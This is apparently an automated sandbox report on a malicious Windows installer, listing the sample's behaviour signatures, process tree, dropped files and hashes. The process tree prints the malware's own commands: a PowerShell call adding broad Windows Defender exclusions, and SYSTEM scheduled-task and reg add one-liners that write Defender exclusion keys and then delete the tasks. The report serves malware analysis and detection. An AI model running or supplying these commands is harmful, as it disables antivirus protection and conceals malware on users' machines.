Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 04:31

General

  • Target
    install.2.0.08.exe
  • Size 30.5MB
  • Sample261024-e5dy6shx5m
  • SHA256 30f99725a93c776b5564f09660d4b5d8f906a17418fbf3a30f032e5e73ff78d0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:1172
  • C:\Users\Public\A26qbu\YJ8glq.exe
    "C:\Users\Public\A26qbu\YJ8glq.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4776
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\A26qbu\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3324
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\A26qbu\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5700
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2580
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3508
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2480
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2544
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1888
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4912
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5416
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1212
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1304
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2452
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1272
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3628
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3524
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3340
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5552
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:692
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1356
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4756
                        • C:\Program Files (x86)\p6VnZH\LuYlnD.exe
                          "C:\Program Files (x86)\p6VnZH\LuYlnD.exe"
                          2⤵
                            PID:1172
                        • C:\Users\Public\A26qbu\YJ8glq.exe
                          "C:\Users\Public\A26qbu\YJ8glq.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:924
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\A26qbu" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4308
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\A26qbu" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5020
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4760
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:968
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1364
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5520
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4196
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4108
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1968
                          • C:\Program Files (x86)\p6VnZH\LuYlnD.exe
                            "C:\Program Files (x86)\p6VnZH\LuYlnD.exe"
                            1⤵
                              PID:1116

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  LuYlnD.exe

                                  • Path C:\Program Files (x86)\p6VnZH\LuYlnD.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\p6VnZH\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 6e64597b9f0f1bfa6912844d135f7ae119adc60a7d092f316266a6fb355dffba
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\p6VnZH\XPSPLOG.dll
                                  • Size 3.0MB
                                  • SHA256 ec52cf36a238a14a2e3dd31890576c8c04bdba5841cd4f0f5dff50e3d0691846
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\p6VnZH\image.png
                                  • Size 4.8MB
                                  • SHA256 8afcc2032aaef46f0191027ae2ebb2e97cbbd682d22ed891fe51513324f7a2cf
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  thumbs.db

                                  • Path C:\Program Files (x86)\p6VnZH\thumbs.db
                                  • Size 358KB
                                  • SHA256 ab03d1287388e8fcf7328d444f6a031e89115d7b76981149d52109fdf78622be
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\tAg8J6\XPSPLOG.dll
                                  • Size 2.9MB
                                  • SHA256 c3470d959260d0a487608c9a1a7399998b0c3777157b9e54c44ab13304e06c85
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 1KB
                                  • SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 1KB
                                  • SHA256 8d385c0931a5bafea01a056869b2d80bec56a60dfd585c6644c5ad5298764d80
                                  • MD5 SHA1 SHA512 TLSH

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 512B
                                  • SHA256 b73975fcd92531dd043a78916c98544b06a71ff7a55c57193f2e9fabdd9fd677
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 506B
                                  • SHA256 9f44d2d50a1d672b063302a0d2f57025d22fe27b27b00e390d8b8ad039ba8dad
                                  • MD5 SHA1 SHA512 TLSH

                                  __PSScriptPolicyTest_5hpdzc2t.o5i.ps1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5hpdzc2t.o5i.ps1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\A26qbu\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 4245784e04933de976140acdadcd039b4787323be669f3fed666c1ef06dbe4af
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  YJ8glq.exe

                                  • Path C:\Users\Public\A26qbu\YJ8glq.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\A26qbu\adoresd.dat
                                  • Size 4.8MB
                                  • SHA256 b58cc282f6dd16f21ed6ef0668c8eb6a9dd58beb58c3a0846274f1122b53052d
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\A26qbu\msadox.tb
                                  • Size 8KB
                                  • SHA256 d6cd925071e1b11d7b074db7dec6ce096617108d7f123de42f980ff655b16d13
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/924-589-0x00000280349D0000-0x00000280352A7000-memory.dmp

                                  memory/924-588-0x00000280349D0000-0x00000280352A7000-memory.dmp

                                  memory/924-583-0x00000280349D0000-0x00000280352A7000-memory.dmp

                                  memory/924-587-0x00000280349D0000-0x00000280352A7000-memory.dmp

                                  memory/924-582-0x00007FFC95E60000-0x00007FFC95E62000-memory.dmp

                                  memory/924-575-0x00000280349D0000-0x00000280352A7000-memory.dmp

                                  memory/924-572-0x00007FFC73160000-0x00007FFC7367E000-memory.dmp

                                  memory/924-590-0x00000280349D0000-0x00000280352A7000-memory.dmp

                                  memory/924-591-0x00007FFC95E50000-0x00007FFC95E52000-memory.dmp

                                  memory/1172-682-0x00000000010E0000-0x00000000010E1000-memory.dmp

                                  memory/1172-525-0x00007FFC8B640000-0x00007FFC8B652000-memory.dmp

                                  memory/1172-701-0x0000000003E90000-0x0000000003EA4000-memory.dmp

                                  memory/1172-694-0x00000000035B0000-0x0000000003D8D000-memory.dmp

                                  memory/1172-690-0x00000000035B0000-0x0000000003D8D000-memory.dmp

                                  memory/1172-684-0x0000000074840000-0x0000000074F8A000-memory.dmp

                                  memory/1172-524-0x00000000005C0000-0x00000000005CE000-memory.dmp

                                  memory/1172-504-0x00007FFC8B640000-0x00007FFC8B652000-memory.dmp

                                  memory/1172-2-0x00000000005D0000-0x00000000005DC000-memory.dmp

                                  memory/1172-1-0x00000000005C0000-0x00000000005CE000-memory.dmp

                                  memory/1172-0-0x00000000005C0000-0x00000000005CE000-memory.dmp

                                  memory/1172-687-0x00000000035B0000-0x0000000003D8D000-memory.dmp

                                  memory/1172-689-0x0000000001100000-0x0000000001101000-memory.dmp

                                  memory/3660-539-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-544-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-564-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-558-0x000002628E540000-0x000002628E58E000-memory.dmp

                                  memory/3660-559-0x000002628E640000-0x000002628E6CA000-memory.dmp

                                  memory/3660-530-0x00007FFC95E50000-0x00007FFC95E52000-memory.dmp

                                  memory/3660-531-0x00007FFC73160000-0x00007FFC7367E000-memory.dmp

                                  memory/3660-536-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-538-0x00007FFC95E60000-0x00007FFC95E62000-memory.dmp

                                  memory/3660-560-0x000002628E640000-0x000002628E6CA000-memory.dmp

                                  memory/3660-561-0x000002628E640000-0x000002628E6CA000-memory.dmp

                                  memory/3660-556-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-562-0x000002628E640000-0x000002628E6CA000-memory.dmp

                                  memory/3660-550-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-546-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-545-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-565-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/3660-543-0x000002628F0D0000-0x000002628F9A7000-memory.dmp

                                  memory/4776-613-0x0000019B5E7F0000-0x0000019B5E7FA000-memory.dmp

                                  memory/4776-612-0x0000019B5E890000-0x0000019B5E942000-memory.dmp

                                  memory/4776-611-0x0000019B5E870000-0x0000019B5E88E000-memory.dmp

                                  memory/4776-601-0x0000019B5E800000-0x0000019B5E822000-memory.dmp